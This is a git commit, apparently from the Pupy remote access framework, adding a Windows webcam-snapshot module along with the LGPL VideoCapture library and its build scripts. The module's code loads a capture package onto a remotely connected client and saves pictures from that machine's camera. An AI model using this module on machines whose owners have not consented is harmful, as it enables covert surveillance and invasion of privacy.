new webcam snap module ! :)

This commit is contained in:
n1nj4sec 2015-09-27 20:16:51 +02:00
parent 158183df30
commit a6a5ffeb62
17 changed files with 2238 additions and 4 deletions

5
.gitignore vendored
View File

@ -27,7 +27,10 @@ client/sources/resources_msvcr90_dll.c
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
client/**/*.py[cod]
pupy/*.py[cod]
pupy/pupylib/*.py[cod]
pupy/modules/*.py[cod]
# do not ignore package & templates files
!pupy/packages/

View File

@ -11,3 +11,11 @@ Redistribution and use in source and binary forms, with or without modification,
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
Pupy also uses some code source/libraries from other projects under different licenses. Among these project, you may find :
-For the client part:
cf the file client/sources/LICENSES.txt
-For the packages located in pupy/packages/:
-VideoCapture by Markus Gritsch (m.gritsch@gmail.com) under the LGPL license.
http://videocapture.sourceforge.net/
-psutil by Giampaolo Rodola under the BSD license
https://github.com/giampaolo/psutil

View File

@ -16,7 +16,6 @@
# --------------------------------------------------------------
from pupylib.PupyModule import *
from rpyc.utils.classic import download
import os
import os.path
import textwrap
@ -52,7 +51,7 @@ class Screenshoter(PupyModule):
def run(self, args):
try:
os.makedirs("./data/screenshots")
os.makedirs(os.path.join("data","screenshots"))
except Exception:
pass
self.client.load_package("pupwinutils.screenshot")
@ -70,7 +69,7 @@ class Screenshoter(PupyModule):
args.screen=0
selected_screen=screens[args.screen]
screenshot_pixels=self.client.conn.modules["pupwinutils.screenshot"].get_pixels(selected_screen)
filepath=os.path.join("./data/screenshots","scr_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".jpg")
filepath=os.path.join("data","screenshots","scr_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".jpg")
pil_save(filepath, screenshot_pixels, selected_screen["width"], selected_screen["height"])
if args.view:
subprocess.Popen(["eog",filepath])

View File

@ -0,0 +1,66 @@
# -*- coding: UTF8 -*-
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------
from pupylib.PupyModule import *
import os
import os.path
import textwrap
import logging
import datetime
from zlib import compress, crc32
import struct
import subprocess
__class_name__="WebcamSnapModule"
def pil_save(filename, pixels, width, height):
from PIL import Image, ImageFile
buffer_len = (width * 3 + 3) & -4
img = Image.frombuffer('RGB', (width, height), pixels, 'raw', 'BGR', buffer_len, 1)
ImageFile.MAXBLOCK = width * height
img=img.transpose(Image.FLIP_TOP_BOTTOM)
img.save(filename, quality=95, optimize=True, progressive=True)
logging.info('webcam snap saved to %s'%filename)
class WebcamSnapModule(PupyModule):
""" take a webcam snap :) """
@windows_only
def is_compatible(self):
pass
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog='webcam_snap', description=self.__doc__)
self.arg_parser.add_argument('-d', '--device', type=int, default=0, help='take a webcam snap on a specific device (default : 0)')
self.arg_parser.add_argument('-v', '--view', action='store_true', help='directly open eog on the snap for preview')
def run(self, args):
try:
os.makedirs(os.path.join("data","webcam_snaps"))
except Exception:
pass
self.client.load_package("vidcap")
filepath=os.path.join("data","webcam_snaps","snap_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".jpg")
dev=self.client.conn.modules['vidcap'].new_Dev(args.device,0)
self.info("device %s exists, taking a snap ..."%args.device)
buff, width, height = dev.getbuffer()
pil_save(filepath, buff, width, height)
if args.view:
subprocess.Popen(["eog",filepath])
self.success("webcam snap saved to %s"%filepath)

View File

@ -0,0 +1,504 @@
GNU LESSER GENERAL PUBLIC LICENSE
Version 2.1, February 1999
Copyright (C) 1991, 1999 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
[This is the first released version of the Lesser GPL. It also counts
as the successor of the GNU Library Public License, version 2, hence
the version number 2.1.]
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
Licenses are intended to guarantee your freedom to share and change
free software--to make sure the software is free for all its users.
This license, the Lesser General Public License, applies to some
specially designated software packages--typically libraries--of the
Free Software Foundation and other authors who decide to use it. You
can use it too, but we suggest you first think carefully about whether
this license or the ordinary General Public License is the better
strategy to use in any particular case, based on the explanations below.
When we speak of free software, we are referring to freedom of use,
not price. Our General Public Licenses are designed to make sure that
you have the freedom to distribute copies of free software (and charge
for this service if you wish); that you receive source code or can get
it if you want it; that you can change the software and use pieces of
it in new free programs; and that you are informed that you can do
these things.
To protect your rights, we need to make restrictions that forbid
distributors to deny you these rights or to ask you to surrender these
rights. These restrictions translate to certain responsibilities for
you if you distribute copies of the library or if you modify it.
For example, if you distribute copies of the library, whether gratis
or for a fee, you must give the recipients all the rights that we gave
you. You must make sure that they, too, receive or can get the source
code. If you link other code with the library, you must provide
complete object files to the recipients, so that they can relink them
with the library after making changes to the library and recompiling
it. And you must show them these terms so they know their rights.
We protect your rights with a two-step method: (1) we copyright the
library, and (2) we offer you this license, which gives you legal
permission to copy, distribute and/or modify the library.
To protect each distributor, we want to make it very clear that
there is no warranty for the free library. Also, if the library is
modified by someone else and passed on, the recipients should know
that what they have is not the original version, so that the original
author's reputation will not be affected by problems that might be
introduced by others.
Finally, software patents pose a constant threat to the existence of
any free program. We wish to make sure that a company cannot
effectively restrict the users of a free program by obtaining a
restrictive license from a patent holder. Therefore, we insist that
any patent license obtained for a version of the library must be
consistent with the full freedom of use specified in this license.
Most GNU software, including some libraries, is covered by the
ordinary GNU General Public License. This license, the GNU Lesser
General Public License, applies to certain designated libraries, and
is quite different from the ordinary General Public License. We use
this license for certain libraries in order to permit linking those
libraries into non-free programs.
When a program is linked with a library, whether statically or using
a shared library, the combination of the two is legally speaking a
combined work, a derivative of the original library. The ordinary
General Public License therefore permits such linking only if the
entire combination fits its criteria of freedom. The Lesser General
Public License permits more lax criteria for linking other code with
the library.
We call this license the "Lesser" General Public License because it
does Less to protect the user's freedom than the ordinary General
Public License. It also provides other free software developers Less
of an advantage over competing non-free programs. These disadvantages
are the reason we use the ordinary General Public License for many
libraries. However, the Lesser license provides advantages in certain
special circumstances.
For example, on rare occasions, there may be a special need to
encourage the widest possible use of a certain library, so that it becomes
a de-facto standard. To achieve this, non-free programs must be
allowed to use the library. A more frequent case is that a free
library does the same job as widely used non-free libraries. In this
case, there is little to gain by limiting the free library to free
software only, so we use the Lesser General Public License.
In other cases, permission to use a particular library in non-free
programs enables a greater number of people to use a large body of
free software. For example, permission to use the GNU C Library in
non-free programs enables many more people to use the whole GNU
operating system, as well as its variant, the GNU/Linux operating
system.
Although the Lesser General Public License is Less protective of the
users' freedom, it does ensure that the user of a program that is
linked with the Library has the freedom and the wherewithal to run
that program using a modified version of the Library.
The precise terms and conditions for copying, distribution and
modification follow. Pay close attention to the difference between a
"work based on the library" and a "work that uses the library". The
former contains code derived from the library, whereas the latter must
be combined with the library in order to run.
GNU LESSER GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License Agreement applies to any software library or other
program which contains a notice placed by the copyright holder or
other authorized party saying it may be distributed under the terms of
this Lesser General Public License (also called "this License").
Each licensee is addressed as "you".
A "library" means a collection of software functions and/or data
prepared so as to be conveniently linked with application programs
(which use some of those functions and data) to form executables.
The "Library", below, refers to any such software library or work
which has been distributed under these terms. A "work based on the
Library" means either the Library or any derivative work under
copyright law: that is to say, a work containing the Library or a
portion of it, either verbatim or with modifications and/or translated
straightforwardly into another language. (Hereinafter, translation is
included without limitation in the term "modification".)
"Source code" for a work means the preferred form of the work for
making modifications to it. For a library, complete source code means
all the source code for all modules it contains, plus any associated
interface definition files, plus the scripts used to control compilation
and installation of the library.
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running a program using the Library is not restricted, and output from
such a program is covered only if its contents constitute a work based
on the Library (independent of the use of the Library in a tool for
writing it). Whether that is true depends on what the Library does
and what the program that uses the Library does.
1. You may copy and distribute verbatim copies of the Library's
complete source code as you receive it, in any medium, provided that
you conspicuously and appropriately publish on each copy an
appropriate copyright notice and disclaimer of warranty; keep intact
all the notices that refer to this License and to the absence of any
warranty; and distribute a copy of this License along with the
Library.
You may charge a fee for the physical act of transferring a copy,
and you may at your option offer warranty protection in exchange for a
fee.
2. You may modify your copy or copies of the Library or any portion
of it, thus forming a work based on the Library, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) The modified work must itself be a software library.
b) You must cause the files modified to carry prominent notices
stating that you changed the files and the date of any change.
c) You must cause the whole of the work to be licensed at no
charge to all third parties under the terms of this License.
d) If a facility in the modified Library refers to a function or a
table of data to be supplied by an application program that uses
the facility, other than as an argument passed when the facility
is invoked, then you must make a good faith effort to ensure that,
in the event an application does not supply such function or
table, the facility still operates, and performs whatever part of
its purpose remains meaningful.
(For example, a function in a library to compute square roots has
a purpose that is entirely well-defined independent of the
application. Therefore, Subsection 2d requires that any
application-supplied function or table used by this function must
be optional: if the application does not supply it, the square
root function must still compute square roots.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Library,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Library, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote
it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Library.
In addition, mere aggregation of another work not based on the Library
with the Library (or with a work based on the Library) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may opt to apply the terms of the ordinary GNU General Public
License instead of this License to a given copy of the Library. To do
this, you must alter all the notices that refer to this License, so
that they refer to the ordinary GNU General Public License, version 2,
instead of to this License. (If a newer version than version 2 of the
ordinary GNU General Public License has appeared, then you can specify
that version instead if you wish.) Do not make any other change in
these notices.
Once this change is made in a given copy, it is irreversible for
that copy, so the ordinary GNU General Public License applies to all
subsequent copies and derivative works made from that copy.
This option is useful when you wish to copy part of the code of
the Library into a program that is not a library.
4. You may copy and distribute the Library (or a portion or
derivative of it, under Section 2) in object code or executable form
under the terms of Sections 1 and 2 above provided that you accompany
it with the complete corresponding machine-readable source code, which
must be distributed under the terms of Sections 1 and 2 above on a
medium customarily used for software interchange.
If distribution of object code is made by offering access to copy
from a designated place, then offering equivalent access to copy the
source code from the same place satisfies the requirement to
distribute the source code, even though third parties are not
compelled to copy the source along with the object code.
5. A program that contains no derivative of any portion of the
Library, but is designed to work with the Library by being compiled or
linked with it, is called a "work that uses the Library". Such a
work, in isolation, is not a derivative work of the Library, and
therefore falls outside the scope of this License.
However, linking a "work that uses the Library" with the Library
creates an executable that is a derivative of the Library (because it
contains portions of the Library), rather than a "work that uses the
library". The executable is therefore covered by this License.
Section 6 states terms for distribution of such executables.
When a "work that uses the Library" uses material from a header file
that is part of the Library, the object code for the work may be a
derivative work of the Library even though the source code is not.
Whether this is true is especially significant if the work can be
linked without the Library, or if the work is itself a library. The
threshold for this to be true is not precisely defined by law.
If such an object file uses only numerical parameters, data
structure layouts and accessors, and small macros and small inline
functions (ten lines or less in length), then the use of the object
file is unrestricted, regardless of whether it is legally a derivative
work. (Executables containing this object code plus portions of the
Library will still fall under Section 6.)
Otherwise, if the work is a derivative of the Library, you may
distribute the object code for the work under the terms of Section 6.
Any executables containing that work also fall under Section 6,
whether or not they are linked directly with the Library itself.
6. As an exception to the Sections above, you may also combine or
link a "work that uses the Library" with the Library to produce a
work containing portions of the Library, and distribute that work
under terms of your choice, provided that the terms permit
modification of the work for the customer's own use and reverse
engineering for debugging such modifications.
You must give prominent notice with each copy of the work that the
Library is used in it and that the Library and its use are covered by
this License. You must supply a copy of this License. If the work
during execution displays copyright notices, you must include the
copyright notice for the Library among them, as well as a reference
directing the user to the copy of this License. Also, you must do one
of these things:
a) Accompany the work with the complete corresponding
machine-readable source code for the Library including whatever
changes were used in the work (which must be distributed under
Sections 1 and 2 above); and, if the work is an executable linked
with the Library, with the complete machine-readable "work that
uses the Library", as object code and/or source code, so that the
user can modify the Library and then relink to produce a modified
executable containing the modified Library. (It is understood
that the user who changes the contents of definitions files in the
Library will not necessarily be able to recompile the application
to use the modified definitions.)
b) Use a suitable shared library mechanism for linking with the
Library. A suitable mechanism is one that (1) uses at run time a
copy of the library already present on the user's computer system,
rather than copying library functions into the executable, and (2)
will operate properly with a modified version of the library, if
the user installs one, as long as the modified version is
interface-compatible with the version that the work was made with.
c) Accompany the work with a written offer, valid for at
least three years, to give the same user the materials
specified in Subsection 6a, above, for a charge no more
than the cost of performing this distribution.
d) If distribution of the work is made by offering access to copy
from a designated place, offer equivalent access to copy the above
specified materials from the same place.
e) Verify that the user has already received a copy of these
materials or that you have already sent this user a copy.
For an executable, the required form of the "work that uses the
Library" must include any data and utility programs needed for
reproducing the executable from it. However, as a special exception,
the materials to be distributed need not include anything that is
normally distributed (in either source or binary form) with the major
components (compiler, kernel, and so on) of the operating system on
which the executable runs, unless that component itself accompanies
the executable.
It may happen that this requirement contradicts the license
restrictions of other proprietary libraries that do not normally
accompany the operating system. Such a contradiction means you cannot
use both them and the Library together in an executable that you
distribute.
7. You may place library facilities that are a work based on the
Library side-by-side in a single library together with other library
facilities not covered by this License, and distribute such a combined
library, provided that the separate distribution of the work based on
the Library and of the other library facilities is otherwise
permitted, and provided that you do these two things:
a) Accompany the combined library with a copy of the same work
based on the Library, uncombined with any other library
facilities. This must be distributed under the terms of the
Sections above.
b) Give prominent notice with the combined library of the fact
that part of it is a work based on the Library, and explaining
where to find the accompanying uncombined form of the same work.
8. You may not copy, modify, sublicense, link with, or distribute
the Library except as expressly provided under this License. Any
attempt otherwise to copy, modify, sublicense, link with, or
distribute the Library is void, and will automatically terminate your
rights under this License. However, parties who have received copies,
or rights, from you under this License will not have their licenses
terminated so long as such parties remain in full compliance.
9. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Library or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Library (or any work based on the
Library), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Library or works based on it.
10. Each time you redistribute the Library (or any work based on the
Library), the recipient automatically receives a license from the
original licensor to copy, distribute, link with or modify the Library
subject to these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties with
this License.
11. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Library at all. For example, if a patent
license would not permit royalty-free redistribution of the Library by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Library.
If any portion of this section is held invalid or unenforceable under any
particular circumstance, the balance of the section is intended to apply,
and the section as a whole is intended to apply in other circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
12. If the distribution and/or use of the Library is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Library under this License may add
an explicit geographical distribution limitation excluding those countries,
so that distribution is permitted only in or among countries not thus
excluded. In such case, this License incorporates the limitation as if
written in the body of this License.
13. The Free Software Foundation may publish revised and/or new
versions of the Lesser General Public License from time to time.
Such new versions will be similar in spirit to the present version,
but may differ in detail to address new problems or concerns.
Each version is given a distinguishing version number. If the Library
specifies a version number of this License which applies to it and
"any later version", you have the option of following the terms and
conditions either of that version or of any later version published by
the Free Software Foundation. If the Library does not specify a
license version number, you may choose any version ever published by
the Free Software Foundation.
14. If you wish to incorporate parts of the Library into other free
programs whose distribution conditions are incompatible with these,
write to the author to ask for permission. For software which is
copyrighted by the Free Software Foundation, write to the Free
Software Foundation; we sometimes make exceptions for this. Our
decision will be guided by the two goals of preserving the free status
of all derivatives of our free software and of promoting the sharing
and reuse of software generally.
NO WARRANTY
15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Libraries
If you develop a new library, and you want it to be of the greatest
possible use to the public, we recommend making it free software that
everyone can redistribute and change. You can do so by permitting
redistribution under these terms (or, alternatively, under the terms of the
ordinary General Public License).
To apply these terms, attach the following notices to the library. It is
safest to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least the
"copyright" line and a pointer to where the full notice is found.
<one line to give the library's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Also add information on how to contact you by electronic and paper mail.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the library, if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the
library `Frob' (a library for tweaking knobs) written by James Random Hacker.
<signature of Ty Coon>, 1 April 1990
Ty Coon, President of Vice
That's all there is to it!

View File

@ -0,0 +1,217 @@
"""VideoCapture.py
by Markus Gritsch <gritsch@iue.tuwien.ac.at>
"""
import vidcap
from PIL import Image, ImageFont, ImageDraw
import time, string
default_textpos = 'bl' # t=top, b=bottom; l=left, c=center, r=right
textcolor = 0xffffff
shadowcolor = 0x000000
def now():
"""Returns a string containing the current date and time.
This function is used internally by VideoCapture to generate the timestamp
with which a snapshot can optionally be marked.
"""
weekday = ('Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun')
#weekday = ('Mo', 'Di', 'Mi', 'Do', 'Fr', 'Sa', 'So')
#weekday = ('-', '-', '-', '-', '-', '-', '-')
y, m, d, hr, min, sec, wd, jd, dst = time.localtime(time.time())
return '%s:%s:%s %s %s.%s.%s' % (string.zfill(hr, 2), string.zfill(min, 2), string.zfill(sec, 2), weekday[wd], d, m, y)
class Device:
"""Create instances of this class which will then represent video devices.
For the lifetime of the instance, the device is blocked, so it can not be
used by other applications (which is quite normal Windows behavior).
If you want to access the device from another program, you have to delete
the instance first (e.g. del cam).
"""
def __init__(self, devnum=0, showVideoWindow=0):
"""devnum: VideoCapture enumerates the available video capture devices
on your system. If you have more than one device, specify
the desired one here. The device number starts from 0.
showVideoWindow: 0 ... do not display a video window (the default)
1 ... display a video window
Mainly used for debugging, since the video window
can not be closed or moved around.
"""
self.dev = vidcap.new_Dev(devnum, showVideoWindow)
self.normalfont = ImageFont.load_path('helvetica-10.pil')
self.boldfont = ImageFont.load_path('helvB08.pil')
self.font = None
def displayPropertyPage(self):
"""deprecated
Use the methods displayCaptureFilterProperties() and
displayCapturePinProperties() instead.
"""
print 'WARNING: displayPropertyPage() is deprecated.'
print ' Use displayCaptureFilterProperties() and displayCapturePinProperties()'
print ' instead!'
self.dev.displaypropertypage()
def displayCaptureFilterProperties(self):
"""Displays a dialog containing the property page of the capture filter.
For VfW drivers you may find the option to select the resolution most
likele here.
"""
self.dev.displaycapturefilterproperties()
def displayCapturePinProperties(self):
"""Displays a dialog containing the property page of the capture pin.
For WDM drivers you may find the option to select the resolution most
likele here.
"""
self.dev.displaycapturepinproperties()
def setResolution(self, width, height):
"""Sets the capture resolution. (without dialog)
(contributed by Don Kimber <kimber@fxpal.com>)
"""
self.dev.setresolution(width, height)
def getDisplayName(self):
""" Gets the Windows "friendly name" for the device (for example "Microsoft LifeCam VX-1000")
(contributed by Jeremy Mortis (mortis@tansay.ca)
"""
return self.dev.getdisplayname()
def getBuffer(self):
"""Returns a string containing the raw pixel data.
You probably don't want to use this function, but rather getImage() or
saveSnapshot().
"""
return self.dev.getbuffer()
def getImage(self, timestamp=0, boldfont=0, textpos=default_textpos):
"""Returns a PIL Image instance.
timestamp: 0 ... no timestamp (the default)
1 ... simple timestamp
2 ... timestamp with shadow
3 ... timestamp with outline
boldfont: 0 ... normal font (the default)
1 ... bold font
textpos: The position of the timestamp can be specified by a string
containing a combination of two characters. One character
must be either t or b, the other one either l, c or r.
t ... top
b ... bottom
l ... left
c ... center
r ... right
The default value is 'bl'
"""
if timestamp:
#text = now()
text = time.asctime(time.localtime(time.time()))
buffer, width, height = self.getBuffer()
if buffer:
im = Image.fromstring('RGB', (width, height), buffer, 'raw', 'BGR', 0, -1)
if timestamp:
if boldfont:
self.font = self.boldfont
else:
self.font = self.normalfont
tw, th = self.font.getsize(text)
tw -= 2
th -= 2
if 't' in textpos:
y = -1
elif 'b' in textpos:
y = height - th - 2
else:
raise ValueError, "textpos must contain exactly one out of 't', 'b'"
if 'l' in textpos:
x = 2
elif 'c' in textpos:
x = (width - tw) / 2
elif 'r' in textpos:
x = (width - tw) - 2
else:
raise ValueError, "textpos must contain exactly one out of 'l', 'c', 'r'"
draw = ImageDraw.Draw(im)
if timestamp == 2: # shadow
draw.text((x+1, y), text, font=self.font, fill=shadowcolor)
draw.text((x, y+1), text, font=self.font, fill=shadowcolor)
draw.text((x+1, y+1), text, font=self.font, fill=shadowcolor)
else:
if timestamp >= 3: # thin border
draw.text((x-1, y), text, font=self.font, fill=shadowcolor)
draw.text((x+1, y), text, font=self.font, fill=shadowcolor)
draw.text((x, y-1), text, font=self.font, fill=shadowcolor)
draw.text((x, y+1), text, font=self.font, fill=shadowcolor)
if timestamp == 4: # thick border
draw.text((x-1, y-1), text, font=self.font, fill=shadowcolor)
draw.text((x+1, y-1), text, font=self.font, fill=shadowcolor)
draw.text((x-1, y+1), text, font=self.font, fill=shadowcolor)
draw.text((x+1, y+1), text, font=self.font, fill=shadowcolor)
draw.text((x, y), text, font=self.font, fill=textcolor)
return im
def saveSnapshot(self, filename, timestamp=0, boldfont=0, textpos=default_textpos, **keywords):
"""Saves a snapshot to the harddisk.
The filetype depends on the filename extension. Everything that PIL
can handle can be specified (foo.jpg, foo.gif, foo.bmp, ...).
filename: String containing the name of the resulting file.
timestamp: see getImage()
boldfont: see getImage()
textpos: see getImage()
Additional keyword arguments can be give which are just passed to the
save() method of the Image class. For example you can specify the
compression level of a JPEG image by quality=75 (which is the default
value anyway).
"""
self.getImage(timestamp, boldfont, textpos).save(filename, **keywords)
if __name__ == '__main__':
import shutil
#shutil.copy('VideoCapture.py', 'C:\Python20\Lib')
#shutil.copy('VideoCapture.py', 'C:\Python21\Lib')
#shutil.copy('VideoCapture.py', 'C:\Python22\Lib')
#shutil.copy('VideoCapture.py', 'C:\Python23\Lib')
#shutil.copy('VideoCapture.py', 'C:\Python24\Lib')
#shutil.copy('VideoCapture.py', 'C:\Python25\Lib')
cam = Device(devnum=0)
#~ #cam.displayPropertyPage() ## deprecated
#~ #cam.displayCaptureFilterProperties()
#~ #cam.displayCapturePinProperties()
#~ #cam.setResolution(768, 576) ## PAL
#~ #cam.setResolution(352, 288) ## CIF
#~ cam.saveSnapshot('test.jpg', quality=75, timestamp=3, boldfont=1)
print "Friendly name: ", cam.getDisplayName()

View File

@ -0,0 +1,47 @@
import os, string
oldWin = '''span {
font-family: Verdana;
background: #e0e0d0;
font-size: 10pt;
}
</style>
</head>
<body bgcolor="#e0e0d0">
'''
oldLinux = '''span {
font-family: Verdana;
background: #e0e0d0;
font-size: 13pt;
}
</style>
</head>
<body bgcolor="#e0e0d0">
'''
new = '''span {
font-family: Verdana;
}
</style>
</head>
<body bgcolor="#f0f0f8">
'''
def fixhtmlfile(file):
if os.path.isfile(file) and file[-5:] == '.html':
print file
fp = open(file, 'rt')
cont = fp.read()
fp.close()
cont = string.replace(cont, '\r\n', '\n')
cont = string.replace(cont, oldWin, new)
cont = string.replace(cont, oldLinux, new)
fp = open(file, 'wt')
fp.write(cont)
fp.close()
def fixhtmlfiles(dir):
files = os.listdir(dir)
for file in files:
fixhtmlfile(dir + os.sep + file)

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.7 KiB

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 KiB

View File

@ -0,0 +1,180 @@
version = '0.9-2'
###############################################################################
print '- exportashtml'
import os
if os.name == 'nt':
scite = r'C:\Programme\wscite\SciTE.exe'
else:
scite = '/iuehome/gritsch/bin/scite'
file = 'VideoCapture.py'
src = './' + file
dest = '../html/' + file + '.html'
os.system(scite + ' -open:%s -exportashtml:%s -quit:' % (src, dest))
###############################################################################
print '- fixhtmlfile'
import time, fixhtml
time.sleep(1) # allow SciTE to finish writing
fixhtml.fixhtmlfile(dest)
###############################################################################
print '- pydoc_it'
os.system(r'c:\Python22\python.exe c:\Python22\Lib\pydoc.py -w VideoCapture ')
os.system('move VideoCapture.html ..\html\ ')
os.remove('VideoCapture.pyc')
###############################################################################
print '- fixpydochtmlfile'
import string
file = '../html/VideoCapture.html'
fp = open(file)
cont = fp.read()
fp.close()
cont = string.replace(cont, '\r\n', '\n')
cont = string.replace(cont, '''<style type="text/css"><!--
TT { font-family: lucidatypewriter, lucida console, courier }
